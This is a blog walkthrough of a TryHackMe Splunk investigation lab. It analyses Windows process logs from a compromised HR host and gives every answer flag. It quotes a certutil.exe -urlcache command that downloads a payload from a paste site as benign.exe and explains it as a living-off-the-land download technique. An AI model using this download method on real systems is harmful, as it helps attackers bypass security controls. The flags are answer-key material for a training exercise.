Benign - TryHackMe Walkthrough

Sun, 23 Aug 2026 23:40:00 +0700

One of the client’s IDS indicated a potentially suspicious process execution indicating one of the hosts from the HR department was compromised. Some tools related to network information gathering / scheduled tasks were executed which confirmed the suspicion. Due to limited resources, we could only pull the process execution logs with Event ID: 4688 and ingested them into Splunk with the index win_eventlogs for further investigation.

Network Information

The network is divided into three logical segments. It will help in the investigation.

IT Department: James, Moin, Katrina
HR department: Haroon, Chris, Diana
Marketing department: Bell, Amelia, Deepak

Task 1: Connect and Setup Lab

(No questions for this task)

Task 2: Investigation Questions

1. How many logs are ingested from the month of March, 2022?

Easy to find, set date from 01/03/2022 up to now.

Flag: 13959

2. Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?

When addressing this question, I briefly checked the list of usernames and tried a few, but without success; we need to filter out all the usernames present in this log to be able to detect them.

index="win_eventlogs" | stats count by UserName

Flag: Amel1a

3. Which user from the HR department was observed to be running scheduled tasks?

When filtering events related to the schedule, I identified four users; however, one user had only a single event. This appears quite unusual, given that schedules are typically used frequently, whereas malware often requires only a single instance of persistence.

index="win_eventlogs" schtasks UserName="Chris.fort"

When examining this user’s logs, it appears there was an attempt to keep the update.exe application running—and fortunately, that name turned out to be the flag.

Flag: Chris.fort

First, we will attempt to search for outputs related to the HR department’s hostname, then, we can examine the commands that were executed specifically focusing on one-time commands, as the problem statement implies the malware typically requires only a single download.

When I looked through these commands, I was quite surprised to find one that seemed very suspicious: a certutil command to the control domain with the -f parameter.

Now we just need to investigate exactly who carried it out.

Flag: haroon

5. To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?

We will delve into an analysis of the command in the sentence above to find out:

certutil.exe -urlcache -f - https://controlc.com/e4d11035 benign.exe

certutil.exe is a legitimate, built-in Windows tool primarily responsible for managing, verifying, and configuring security certificates.

-urlcache: Connects to a specified URL.
-split: Extracts the retrieved data and forces the system to save it as a separate physical file on the hard drive. (Note: The flag -split wasn’t in the command above but is commonly used with certutil)

Flag: certutil.exe

6. What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)

For the following questions, the answers are quite easy to find in the log above.

Flag: 2022-03-04

7. Which third-party site was accessed to download the malicious payload?

Flag: controlc.com

8. What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?

Flag: benign.exe

9. The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{……….}; what is that pattern?

Flag: THM{KJ&*H^B0}

10. What is the URL that the infected host connected to?

Flag: https://controlc.com/e4d11035

Thank you for reading my blog, see you later!

Splunk on Roduygo | Blog